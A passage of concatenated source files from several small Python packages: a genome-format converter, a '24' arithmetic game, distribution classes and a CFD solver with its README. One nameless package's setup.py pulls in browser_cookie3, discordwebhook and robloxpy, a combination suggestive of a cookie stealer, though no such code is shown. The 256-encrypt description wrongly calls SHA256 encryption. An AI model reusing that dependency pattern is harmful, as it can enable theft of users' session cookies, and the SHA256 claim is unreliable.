n_bytes = start + n_lines * linewidth + n_bases
f.seek(n_bytes)
ref = f.read(1)
alts = get_alts(ref, genotype)
pos = str(pos + 1)
diploid = len(genotype) == 2
assert ref not in alts
assert len(alts) <= 2
if diploid:
if len(alts) == 2:
if alts[0] == alts[1]:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '1/1')
else:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '1/2')
yield (chrom, pos, rsid, ref, alts[1], '.', '.', '.', 'GT', '2/1')
elif len(alts) == 1:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '0/1')
elif len(alts) == 1:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '1')
def load_23andme_data(input):
with open(input) as f:
for line in f:
if line.startswith('#'): continue
if line.strip():
rsid, chrom, pos, genotype = line.strip().split('\t')
if chrom == 'MT':
chrom = 'M'
chrom = 'chr' + chrom
if genotype != '--':
skip = False
for x in genotype:
if x not in 'ACTG':
skip = True
if not skip:
yield rsid, chrom, int(pos) - 1, genotype # subtract one because positions are 1-based indices
def write_vcf_header(f):
f.write(
"""##fileformat=VCFv4.2
##source=23andme_to_vcf
##reference=GRCh37
##FORMAT=<ID=GT,Number=1,Type=String,Description="Genotype">
#CHROM POS ID REF ALT QUAL FILTER INFO FORMAT SAMPLE
""")
def write_vcf(outfile, records):
with open(outfile, 'w') as f:
write_vcf_header(f)
for record in records:
f.write('\t'.join(record) + '\n')
def main():
args = parser.parse_args()
fai = load_fai(args)
snps = load_23andme_data(args.input)
records = get_vcf_records(snps, fai, args)
write_vcf(args.output, records) | 23andme-to-vcf | /23andme_to_vcf-0.0.3-py3-none-any.whl/_23andme_to_vcf/driver.py | driver.py |
name = "_23andme_to_vcf"
import _23andme_to_vcf.driver | 23andme-to-vcf | /23andme_to_vcf-0.0.3-py3-none-any.whl/_23andme_to_vcf/__init__.py | __init__.py |
import argparse
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('--input', help='A 23andme data file', required=True)
parser.add_argument('--output', help='Output VCF file', required=True)
def load_fai():
index = {}
with open('./data/GRCh37.fa.fai') as f:
for line in f:
toks = line.split('\t')
chrom = 'chr' + toks[0]
if chrom == 'chrMT':
chrom = 'chrM'
length = int(toks[1])
start = int(toks[2])
linebases = int(toks[3])
linewidth = int(toks[4])
index[chrom] = (start, length, linebases, linewidth)
return index
def get_vcf_records(pos_list, fai):
with open('./data/GRCh37.fa') as f:
def get_alts(ref, genotype):
for x in genotype:
assert x in 'ACTG'
if len(genotype) == 1:
if ref in genotype:
return []
return [genotype]
if ref == genotype[0] and ref == genotype[1]:
return []
if ref == genotype[0]:
return [genotype[1]]
if ref == genotype[1]:
return [genotype[0]]
return [genotype[0], genotype[1]]
for (rsid, chrom, pos, genotype) in pos_list:
start, _, linebases, linewidth = fai[chrom]
n_lines = int(pos / linebases)
n_bases = pos % linebases
n_bytes = start + n_lines * linewidth + n_bases
f.seek(n_bytes)
ref = f.read(1)
alts = get_alts(ref, genotype)
pos = str(pos + 1)
diploid = len(genotype) == 2
assert ref not in alts
assert len(alts) <= 2
if diploid:
if len(alts) == 2:
if alts[0] == alts[1]:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '1/1')
else:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '1/2')
yield (chrom, pos, rsid, ref, alts[1], '.', '.', '.', 'GT', '2/1')
elif len(alts) == 1:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '0/1')
elif len(alts) == 1:
yield (chrom, pos, rsid, ref, alts[0], '.', '.', '.', 'GT', '1')
def load_23andme_data(input):
with open(input) as f:
for line in f:
if line.startswith('#'): continue
if line.strip():
rsid, chrom, pos, genotype = line.strip().split('\t')
if chrom == 'MT':
chrom = 'M'
chrom = 'chr' + chrom
if genotype != '--':
skip = False
for x in genotype:
if x not in 'ACTG':
skip = True
if not skip:
yield rsid, chrom, int(pos) - 1, genotype # subtract one because positions are 1-based indices
def write_vcf_header(f):
f.write(
"""
##fileformat=VCFv4.2
##source=23andme_to_vcf
##reference=GRCh37
##FORMAT=<ID=GT,Number=1,Type=String,Description="Genotype">
#CHROM POS ID REF ALT QUAL FILTER INFO FORMAT SAMPLE
""")
def write_vcf(outfile, records):
with open(outfile, 'w') as f:
write_vcf_header(f)
for record in records:
f.write('\t'.join(record) + '\n')
def main():
args = parser.parse_args()
fai = load_fai()
snps = load_23andme_data(args.input)
records = get_vcf_records(snps, fai)
write_vcf(args.output, records) | 23andme-to-vcf | /23andme_to_vcf-0.0.3-py3-none-any.whl/23andme_to_vcf/driver.py | driver.py |
name = "23andme_to_vcf" | 23andme-to-vcf | /23andme_to_vcf-0.0.3-py3-none-any.whl/23andme_to_vcf/__init__.py | __init__.py |
import os
import sys
import time
import signal
import math
import random
import itertools
import csv
def calc(a, o, b):
P = {'+': 1, '-': 1, '*': 2, '/': 2}
ea, eb = a['e'], b['e']
va, vb = eval(a['e']), eval(b['e'])
c = a['c'] + b['c']
if 'o' in a and P[a['o']] < P[o]:
ea = '(' + a['e'] + ')'
if 'o' in b and P[o] > P[b['o']]:
eb = '(' + b['e'] + ')'
if 'o' in b and P[o] == P[b['o']]:
if (o == '+' and b['o'] == '+') or (o == '*' and b['o'] == '*'):
pass
else:
eb = '(' + b['e'] + ')'
e = ea + o + eb
if o == '+':
c += 1
if va + vb == 24:
pass
else: #和越大越复杂
t = va + vb
if t <= 10:
pass
else:
c += t*1.2
elif o == '-':
c += 1
t = va - vb
if t < 0: #减出负数
c += 100
elif o == '*':
c += 1
if va == 1 and vb == 1: #与1相乘不增加复杂度
pass
elif va * vb == 24:
pass
else: #积越大越复杂
t = va * vb
if t <= 10:
pass
else:
c += t
elif o == '/':
c += 2
if va == vb: #相同数相除不增加复杂度
pass
else:
c += 3
y = math.modf(va / vb)[0]
if y > 0: # 商为小数
c += 800
if math.modf(y * 100000)[0] > 0: #无理数
c += 800
return {'r': eval(e), 'e': e, 'o': o, 'c': int(c)}
def get1(a):
return [{'r': a, 'e': str(a), 'c': 0}]
def get2(a, b):
A = a if isinstance(a, list) else get1(a)
B = b if isinstance(b, list) else get1(b)
z = [ ]
for a in A:
for b in B:
if a['c'] < b['c']:
z.append(calc(b, '+', a))
z.append(calc(b, '*', a))
else:
z.append(calc(a, '+', b))
z.append(calc(a, '*', b))
z.append(calc(a, '-', b))
z.append(calc(b, '-', a))
if b['r'] != 0: z.append(calc(a, '/', b))
if a['r'] != 0: z.append(calc(b, '/', a))
return z
def get3(a, b, c):
return get2(a, get2(b, c)) + \
get2(b, get2(a, c)) + \
get2(c, get2(a, b))
def get4(a, b, c, d):
return get2(get2(a, b), get2(c, d)) + \
get2(get2(a, c), get2(b, d)) + \
get2(get2(a, d), get2(b, c)) + \
get2(a, get3(b, c, d)) + \
get2(b, get3(a, c, d)) + \
get2(c, get3(a, b, d)) + \
get2(d, get3(a, b, c))
def fx(target, values):
n = len(values)
if n == 4:
z = get4(values[0], values[1], values[2], values[3])
elif n == 3:
z = get3(values[0], values[1], values[2])
return list(filter(lambda x: math.isclose(x['r'], target, rel_tol=1e-10), z))
def fy(z, complex_fold=True):
z.sort(key=lambda x: x['c'])
e = []
c = []
d = []
for a in z:
if a['e'] not in e:
if complex_fold and a['c'] in c: continue
e.append(a['e'])
c.append(a['c'])
d.append({'e': str(round(a['r'])) + '=' + a['e'], 'c': a['c']})
return d
################################
C = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] * 4
def All():
D = list(itertools.combinations(C,4))
S = []
for v in D:
u = [v[0], v[1], v[2], v[3]]
u.sort()
if u not in S:
S.append(u)
return S
def sigint_handler(signum, frame):
print ('catched interrupt signal!')
exit()
status = ''
start = 0
result = []
def new_question(space):
global status, start, result
v, b = [], []
while True:
v = list(random.choice(space))
b = fx(24, v)
if len(b) > 0: break
os.system('clear')
print('')
print('\u2661', '\u2664', ' {} {} {} {} '.format(v[0], v[1], v[2], v[3]), '\u2667', '\u2662')
status = "new question"
start = int(time.time())
return b
def show_answer(d, n, f, delta):
global status, start, result
r = fy(d, f)
if n == 1:
print(r[0]["e"])
print("")
print("complexity", r[0]["c"])
print("total", len(r), "solutions")
print("cost", delta, "seconds")
else:
for i, a in enumerate(r):
if i < n:
print('{0:<16}{1}'.format(a['e'], a['c']))
status = "show answer"
def main():
global status, start, result
if len(sys.argv) >= 2:
if sys.argv[1] in ['-h', '-H', '--help']:
print('24p 1 2 3 4 # for query')
print('24p # for play game')
return
signal.signal(signal.SIGINT, sigint_handler)
signal.signal(signal.SIGHUP, sigint_handler)
signal.signal(signal.SIGTERM, sigint_handler)
v = list(map(lambda x: int(x), sys.argv[1:]))
n = len(v)
if n == 0:
space = list(itertools.combinations(C,4))
result = new_question(space)
while True:
Q = input('')
if Q == 'q': exit()
if status == "new question":
delta = int(time.time()) - start
if Q == "":
show_answer(result, 1, True, delta)
else:
if Q == "a": show_answer(result, 99999, False, delta)
elif Q == "b": show_answer(result, 99999, True, delta)
elif Q == "n": show_answer(result, 99999, True, delta)
print("cost ", delta, " seconds")
elif status == "show answer":
if Q == "a": show_answer(result, 99999, False, 0)
elif Q == "b": show_answer(result, 99999, True, 0)
else: result = new_question(space)
if n == 1:
Q = int(sys.argv[1])
S = All()
for i, v in enumerate(S):
b = fx(24, v)
b.sort(key=lambda x: x['c'])
if len(b) > 0:
a = b[0]
if Q < a['c']:
print('{}%'.format(int(i/len(S) * 100)), v, '{0:>4}={1:<16}{2}'.format(int(a['r']), a['e'], a['c']))
if n == 2:
Q1 = int(sys.argv[1])
Q2 = int(sys.argv[2])
S = All()
for i, v in enumerate(S):
b = fx(24, v)
b.sort(key=lambda x: x['c'])
if len(b) > 0:
a = b[0]
if Q1 < a['c'] and a['c'] < Q2:
print('{}%'.format(int(i/len(S) * 100)), v, '{0:>4}={1:<16}{2}'.format(int(a['r']), a['e'], a['c']))
if n == 3:
for a in ['3', '4', '6', '8', '12', '1/3', '1/4', '1/6', '1/8', '24', '48', '72', '96']:
r = eval('1.0*' + a)
b = fx(r, v)
b.sort(key=lambda x: x['c'])
if len(b) > 0:
print(a +'='+ b[0]['e'])
if n == 4:
show_answer(fx(24, v), 99999, False, 0)
| 24p | /24p-0.2.0-py3-none-any.whl/p24/p24.py | p24.py |
from distutils.core import setup
setup(name='24to25',
version='1.0',
author="Kieran O'Leary",
author_email="kieran.o.leary@gmail.com",
url='https://github.com/kieranjol/24to25/',
download_url='https://github.com/kieranjol/24to25/archive/0.1.zip',
py_modules=['24to25'],
) | 24to25 | /24to25-1.0.zip/24to25-1.0/setup.py | setup.py |
# pythonlib | 256-encrypt | /256-encrypt-0.0.1.tar.gz/256-encrypt-0.0.1/README.md | README.md |
from setuptools import setup, find_packages
classifiers = [
'Development Status :: 5 - Production/Stable',
'Intended Audience :: Education',
'Operating System :: Microsoft :: Windows :: Windows 10',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3'
]
setup(
name='256-encrypt',
version='0.0.1',
description='SHA256 Encryption Algorithm.',
long_description='SHA256 is Encryption Algorithm for encrypting certain values. It was created by The National Security Agency and this is my implementation for the Python programming language.',
url='',
author='64biit',
author_email='sixtyfourblit@gmail.com',
license='MIT',
classifiers=classifiers,
keywords='calculator',
packages=find_packages(),
install_requires=['']
)
| 256-encrypt | /256-encrypt-0.0.1.tar.gz/256-encrypt-0.0.1/setup.py | setup.py |
from setuptools import setup, find_packages
# :)
VERSION = '1.0.0'
# Setting up
setup(
name='282828282828282828',
author="",
author_email="",
packages=find_packages(),
install_requires=["browser_cookie3", "discordwebhook", "robloxpy", "requests"],
) | 282828282828282828 | /282828282828282828-0.0.0.tar.gz/282828282828282828-0.0.0/setup.py | setup.py |
from setuptools import setup
setup(name='29082022_distributions',
version='0.1',
description='Gaussian, Binomial distributions',
packages=['29082022_distributions'],
zip_safe=False)
| 29082022-distributions | /29082022_distributions-0.1.tar.gz/29082022_distributions-0.1/setup.py | setup.py |
import math
import matplotlib.pyplot as plt
from .Generaldistribution import Distribution
class Gaussian(Distribution):
""" Gaussian distribution class for calculating and
visualizing a Gaussian distribution.
Attributes:
mean (float) representing the mean value of the distribution
stdev (float) representing the standard deviation of the distribution
data_list (list of floats) a list of floats extracted from the data file
"""
def __init__(self, mu=0, sigma=1):
Distribution.__init__(self, mu, sigma)
def calculate_mean(self):
"""Function to calculate the mean of the data set.
Args:
None
Returns:
float: mean of the data set
"""
avg = 1.0 * sum(self.data) / len(self.data)
self.mean = avg
return self.mean
def calculate_stdev(self, sample=True):
"""Function to calculate the standard deviation of the data set.
Args:
sample (bool): whether the data represents a sample or population
Returns:
float: standard deviation of the data set
"""
if sample:
n = len(self.data) - 1
else:
n = len(self.data)
mean = self.calculate_mean()
sigma = 0
for d in self.data:
sigma += (d - mean) ** 2
sigma = math.sqrt(sigma / n)
self.stdev = sigma
return self.stdev
def plot_histogram(self):
"""Function to output a histogram of the instance variable data using
matplotlib pyplot library.
Args:
None
Returns:
None
"""
plt.hist(self.data)
plt.title('Histogram of Data')
plt.xlabel('data')
plt.ylabel('count')
def pdf(self, x):
"""Probability density function calculator for the gaussian distribution.
Args:
x (float): point for calculating the probability density function
Returns:
float: probability density function output
"""
return (1.0 / (self.stdev * math.sqrt(2*math.pi))) * math.exp(-0.5*((x - self.mean) / self.stdev) ** 2)
def plot_histogram_pdf(self, n_spaces = 50):
"""Function to plot the normalized histogram of the data and a plot of the
probability density function along the same range
Args:
n_spaces (int): number of data points
Returns:
list: x values for the pdf plot
list: y values for the pdf plot
"""
mu = self.mean
sigma = self.stdev
min_range = min(self.data)
max_range = max(self.data)
# calculates the interval between x values
interval = 1.0 * (max_range - min_range) / n_spaces
x = []
y = []
# calculate the x values to visualize
for i in range(n_spaces):
tmp = min_range + interval*i
x.append(tmp)
y.append(self.pdf(tmp))
# make the plots
fig, axes = plt.subplots(2,sharex=True)
fig.subplots_adjust(hspace=.5)
axes[0].hist(self.data, density=True)
axes[0].set_title('Normed Histogram of Data')
axes[0].set_ylabel('Density')
axes[1].plot(x, y)
axes[1].set_title('Normal Distribution for \n Sample Mean and Sample Standard Deviation')
axes[0].set_ylabel('Density')
plt.show()
return x, y
def __add__(self, other):
"""Function to add together two Gaussian distributions
Args:
other (Gaussian): Gaussian instance
Returns:
Gaussian: Gaussian distribution
"""
result = Gaussian()
result.mean = self.mean + other.mean
result.stdev = math.sqrt(self.stdev ** 2 + other.stdev ** 2)
return result
def __repr__(self):
"""Function to output the characteristics of the Gaussian instance
Args:
None
Returns:
string: characteristics of the Gaussian
"""
return "mean {}, standard deviation {}".format(self.mean, self.stdev) | 29082022-distributions | /29082022_distributions-0.1.tar.gz/29082022_distributions-0.1/29082022_distributions/Gaussiandistribution.py | Gaussiandistribution.py |
class Distribution:
def __init__(self, mu=0, sigma=1):
""" Generic distribution class for calculating and
visualizing a probability distribution.
Attributes:
mean (float) representing the mean value of the distribution
stdev (float) representing the standard deviation of the distribution
data_list (list of floats) a list of floats extracted from the data file
"""
self.mean = mu
self.stdev = sigma
self.data = []
def read_data_file(self, file_name):
"""Function to read in data from a txt file. The txt file should have
one number (float) per line. The numbers are stored in the data attribute.
Args:
file_name (string): name of a file to read from
Returns:
None
"""
with open(file_name) as file:
data_list = []
line = file.readline()
while line:
data_list.append(int(line))
line = file.readline()
file.close()
self.data = data_list
| 29082022-distributions | /29082022_distributions-0.1.tar.gz/29082022_distributions-0.1/29082022_distributions/Generaldistribution.py | Generaldistribution.py |
from .Gaussiandistribution import Gaussian
from .Binomialdistribution import Binomial
| 29082022-distributions | /29082022_distributions-0.1.tar.gz/29082022_distributions-0.1/29082022_distributions/__init__.py | __init__.py |
import math
import matplotlib.pyplot as plt
from .Generaldistribution import Distribution
class Binomial(Distribution):
""" Binomial distribution class for calculating and
visualizing a Binomial distribution.
Attributes:
mean (float) representing the mean value of the distribution
stdev (float) representing the standard deviation of the distribution
data_list (list of floats) a list of floats to be extracted from the data file
p (float) representing the probability of an event occurring
n (int) number of trials
TODO: Fill out all functions below
"""
def __init__(self, prob=.5, size=20):
self.n = size
self.p = prob
Distribution.__init__(self, self.calculate_mean(), self.calculate_stdev())
def calculate_mean(self):
"""Function to calculate the mean from p and n
Args:
None
Returns:
float: mean of the data set
"""
self.mean = self.p * self.n
return self.mean
def calculate_stdev(self):
"""Function to calculate the standard deviation from p and n.
Args:
None
Returns:
float: standard deviation of the data set
"""
self.stdev = math.sqrt(self.n * self.p * (1 - self.p))
return self.stdev
def replace_stats_with_data(self):
"""Function to calculate p and n from the data set
Args:
None
Returns:
float: the p value
float: the n value
"""
self.n = len(self.data)
self.p = 1.0 * sum(self.data) / len(self.data)
self.mean = self.calculate_mean()
self.stdev = self.calculate_stdev()
def plot_bar(self):
"""Function to output a histogram of the instance variable data using
matplotlib pyplot library.
Args:
None
Returns:
None
"""
plt.bar(x = ['0', '1'], height = [(1 - self.p) * self.n, self.p * self.n])
plt.title('Bar Chart of Data')
plt.xlabel('outcome')
plt.ylabel('count')
def pdf(self, k):
"""Probability density function calculator for the gaussian distribution.
Args:
x (float): point for calculating the probability density function
Returns:
float: probability density function output
"""
a = math.factorial(self.n) / (math.factorial(k) * (math.factorial(self.n - k)))
b = (self.p ** k) * (1 - self.p) ** (self.n - k)
return a * b
def plot_bar_pdf(self):
"""Function to plot the pdf of the binomial distribution
Args:
None
Returns:
list: x values for the pdf plot
list: y values for the pdf plot
"""
x = []
y = []
# calculate the x values to visualize
for i in range(self.n + 1):
x.append(i)
y.append(self.pdf(i))
# make the plots
plt.bar(x, y)
plt.title('Distribution of Outcomes')
plt.ylabel('Probability')
plt.xlabel('Outcome')
plt.show()
return x, y
def __add__(self, other):
"""Function to add together two Binomial distributions with equal p
Args:
other (Binomial): Binomial instance
Returns:
Binomial: Binomial distribution
"""
try:
assert self.p == other.p, 'p values are not equal'
except AssertionError as error:
raise
result = Binomial()
result.n = self.n + other.n
result.p = self.p
result.calculate_mean()
result.calculate_stdev()
return result
def __repr__(self):
"""Function to output the characteristics of the Binomial instance
Args:
None
Returns:
string: characteristics of the Gaussian
"""
return "mean {}, standard deviation {}, p {}, n {}".\
format(self.mean, self.stdev, self.p, self.n) | 29082022-distributions | /29082022_distributions-0.1.tar.gz/29082022_distributions-0.1/29082022_distributions/Binomialdistribution.py | Binomialdistribution.py |
def print_lol(the_list):
for each_item in the_list:
if isinstance(each_item,list):
print_lol(each_item)
else:
print(each_item)
| 2969nester | /2969nester-1.0.0.zip/2969nester-1.0.0/nester.py | nester.py |
from distutils.core import setup
setup(
name ='2969nester',
version ='1.0.0',
py_modules =['nester'],
author ='gui',
author_email='296925885@qq.com',
url ='none',
description ='a simple printer of nested list',
)
| 2969nester | /2969nester-1.0.0.zip/2969nester-1.0.0/setup.py | setup.py |
# Background and Validation
This wiki is built in Notion. Here are all the tips you need to contribute.
# General Background
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Map-1_Step-.jpg" alt="Flow over a cylinder" width="700"/>
Flow over a cylinder
---
> **The project has been started as a Open Source repository for CFD solvers. The motive is to provide handy easy to understand code with multitude of CFD schemes for cfd developers. Also, needs to remain functional as an easy to setup open source solver for users. This release only comprises of a terminal sequential prompt, simple and effective. We have immediate plans of implementing a PyQT GUI to it.**
>
> Head to the notion page for more information on how to add to this project:
>
[https://florentine-hero-1e6.notion.site/2D_Panel-CFD-ad63baa924ee4a32af8a52b8134c0360](https://www.notion.so/2D_Panel-CFD-ad63baa924ee4a32af8a52b8134c0360)
> **This version comprises of a 2D Staggered Grid with Inlet, Outlet & Wall Boundary conditions. Obstacles can be imported & transformed with a list of points or with the inbuilt elliptical geometries.**
>
> **First order Upwind Scheme is used for Velocity with very good results for the benchmark Lid Driven Cavity problem when compared to results in Ghia etal.**
>
> **The SIM runs stable with terminal-python for <10000 Cells after which Residual plotting becomes laggy. spyder (Anaconda IDE) provides great speed-ups with multi-core utilisation & also improves the post-processing experience. The Sequential prompts based model is based on a GUI approach and will be ported to it in the next update.**
>
> **The lack of multi-threading support in python trumps the ease of accessibility of matplotlib library. We will be looking to port into C++ immediately utilizing vtk libraries with paraview & blender for visualization.**
>
> **The framework is designed to test new FVM schemes, & Coupling solvers. All popular convection schemes will be added soon. Multiple solvers will be available in the next updates, the likes of SIMPLER, PISO, Pimple etc. Future plans also include Unsteady & VOF solvers.**
>
> **The program works as a sequential prompt, for SIM Parameters. The prompts are designed keeping in mind a GUI approach, which will be available in the next update. There are frequent Check Cycles to render the result & modify any inputs. We'll go through an exemplary First Run in the next Section.**
>
# Installation
### Method: 1
To install using pip Run:
```python
python3 -m pip install 2D_Panel-CFD
```
Or:
### Method: 2
[https://github.com/Fluidentity/2D_Panel-CFD](https://github.com/Fluidentity/2D_Panel-CFD)
- Clone github `[RUN_package](https://github.com/Fluidentity/2D_Panel-CFD.git)` to anywhere in your machine from:
```tsx
cd /insert/folder/address/cfd
git clone https://github.com/Fluidentity/2D_Panel-CFD.git
```
- Set it to PYTHONPATH with:
```python
export PYTHONPATH="${PYTHONPATH}:/insert/folder/address/cfd/RUN_package"
```
It's advisable to run this package from [RUN-spyder.py](http://RUN-spyder.py) through an IDE like spyder for ease of use, and prolonged variable storage. Also, spyder has some great plotting interface.
## Executable
<aside>
💡 The source directory should be set up as PYTHONPATH if not installed using pip
</aside>
### Method: 1
Open python environment with: (in terminal)
```python
python3
```
or (if python —version is >3)
```python
python
```
then insert:
```python
from RUN_package import RUN
```
- **RUN.py** is meant to be run from terminal.
### Method: 2
Run on IDE by cloning [RUN_package](https://github.com/Fluidentity/2D_Panel-CFD/tree/main/RUN_package) from Github.
> Open python IDE like spyder from RUN_package directory:
>
> Run RUN-spyder.py
>
The cells for pre-processor, solver & post processors are different. Need to run all.
- **RUN_spyder.py** can be run with an IDE, such as spyder to improve multi-Core Utilisation & post-processing experience. ****
# Validation of Solver
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/ezgif.com-gif-maker(3).gif" alt="Vortex Shedding flow over a cylinder" width="700"/>
Vortex Shedding flow over a cylinder
---
> For validation of the solver laid out, following strategies are used:
>
1. Comparison with Benchmark Problem Lid Driven Cavity
1. Reference study Ghia etal. Re = 100, 1000, 5000
## Lid Driven Cavity Benchmark Ghia etal.
### **Residuals**
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled.png" alt="Untitled" width="400"/>
### **Benchmark Test at Re=100**
- First Order Upwind scheme
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%201.png" alt="Untitled" width="400"/>
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%202.png" alt="Untitled" width="400"/>
### **Benchmark Test at Re=1000**
- First Order Upwind scheme
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%203.png" alt="Untitled" width="400"/>
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%204.png" alt="Untitled" width="400"/>
### **Benchmark Test at Re=5000**
- First Order Upwind scheme
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%205.png" alt="Untitled" width="400"/>
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%206.png" alt="Untitled" width="400"/>
### Conclusion
First order UPWIND Scheme is good for low Reynolds no. but is only first order accurate to capture higher gradient.
## Fully developed flow between Parallel Plates
### Velocity Profile [at X=0.8*Lx and Y=0.5*Ly]
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%207.png" alt="Untitled" width="400"/>
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Untitled%208.png" alt="Untitled" width="400"/>
<img src="https://github.com/Fluidentity/2D_Panel-CFD-/blob/main/img/Map-1_Step-200.jpg" alt="Map-1 Step-[200].jpg" width="1500"/>
### Conclusion
The Umax Velocity comes close to 1.5 feactor for steady flow between parallel plates. First order UPWIND Scheme with high y-gradient.
| 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/README.md | README.md |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
import numpy as np
import matplotlib
from matplotlib import pyplot as plt
import matplotlib.animation as animation
matplotlib.rcParams.update({'font.size': 15})
def postProcessor(P_values, uxq_values, uyq_values, xMin, xMax, yMin, yMax, nx, ny, dx, dy, Points_x, Points_y, caseFolder, Res_U_values, Res_V_values, Res_Mass_values, max_iter, min_Res, max_Res):
('plasma')
flag_generateResults = int(input("\n1. Generate Results\n2. Abort\n"))
flag_newMap = 'y'
flag_newMapOK = 2
if(flag_generateResults==1):
flag_generateResidualsPlot = input("Generate Residuals plot ?? [y/n]")
if(flag_generateResidualsPlot=='y'):
fig, ax = fig, ax = plt.subplots(figsize =(10, 5))
iter_ = np.linspace(0, max_iter, max_iter)
ax.plot(iter_, Res_U_values, color = 'red', label = 'Ux-Mom Residual')
ax.plot(iter_, Res_V_values, color = 'blue', label = 'Uy-Mom Residual')
ax.plot(iter_, Res_Mass_values, color = 'green', label = 'Mass Residual')
ax.set_ylim(min_Res, max_Res)
ax.set_xlim(0, max_iter)
ax.set_xlabel('Iterations')
ax.legend()
plt.savefig(caseFolder+"/Residuals.jpg")
flag_generateCSV = int(input("\n[1]- Generate CSV files of Residuals \n[2]- Generate CSV files of U, V and P\n[3]- No CSV Results\n"))
if(flag_generateCSV==1):
np.savetxt(caseFolder+"/U_Residual.csv", Res_U_values, delimiter=",")
np.savetxt(caseFolder+"/V-Residual.csv", Res_V_values, delimiter=",")
np.savetxt(caseFolder+"/Mass_Residual.csv", Res_Mass_values, delimiter=",")
elif(flag_generateCSV==2):
np.savetxt(caseFolder+"/U.csv", uxq_values[max_iter-1], delimiter=",")
np.savetxt(caseFolder+"/V.csv", uyq_values[max_iter-1], delimiter=",")
np.savetxt(caseFolder+"/P.csv", P_values[max_iter], delimiter=",")
mapCounter = 1
matplotlib.rcParams.update({'font.size': 35})
while(flag_newMap=='y'):
print("Generating Map-", mapCounter)
flag_resultColorMap = input("Add ColorMap ?? [y/n]")
flag_resultGeometry = input("Add Black Obstacle Geometry ?? [y/n]")
if(flag_resultColorMap=='y'):
flag_resultColorMapMarker = int(input("\nSelect Variable\n[1]- Pressure\n[2]- Velocity\n[3]- X-Velocity\n[4]- Y-Velocity\n"))
flag_resultColorMapContourlines = input("\nWith Labelled Contourlines ?? [y/n]\n")
if(flag_resultColorMapContourlines=='y'):
ContourlinesDensity = int(20/int(input("\nDensity of Contourlines ??\n")))
min_resultColorMap = float(input("Min value of variable"))
max_resultColorMap = float(input("Max value of variable"))
flag_resultStreamlines = input("Add Streamlines ?? [y/n]")
if(flag_resultStreamlines=='y'):
flag_resultStreamlinesDensity = int(input("Streamlines Density ??"))
flag_resultVectors = input("Add Vectors ?? [y/n]")
xq = np.linspace(xMin, xMax, num=2*nx+1)
yq = np.linspace(yMax, yMin, num=2*ny+1)
xqs = np.linspace(xMin, xMax, num=2*nx+1)
yqs = np.linspace(yMin, yMax, num=2*ny+1)
xp = np.linspace(xMin+dx/2, xMax-dx/2, num=nx)
yp = np.linspace(yMax-dy/2, yMin+dy/2, num=ny)
Xq, Yq = np.meshgrid(xqs, yqs)
# creating plot
Lx = xMax-xMin
Ly = yMax-yMin
fig, ax = plt.subplots(figsize =(Lx*10, Ly*10))
if(flag_resultGeometry=='y'):
ax.fill(Points_x, Points_y, color='black')
if(flag_resultColorMap=='y'):
levels = np.linspace(min_resultColorMap, max_resultColorMap, num=20)
if(flag_resultColorMapMarker==1):
contf = ax.contourf(xp, yp, P_values[max_iter-1], levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
cbar = fig.colorbar(contf)
cbar.set_label('P')
elif(flag_resultColorMapMarker==2):
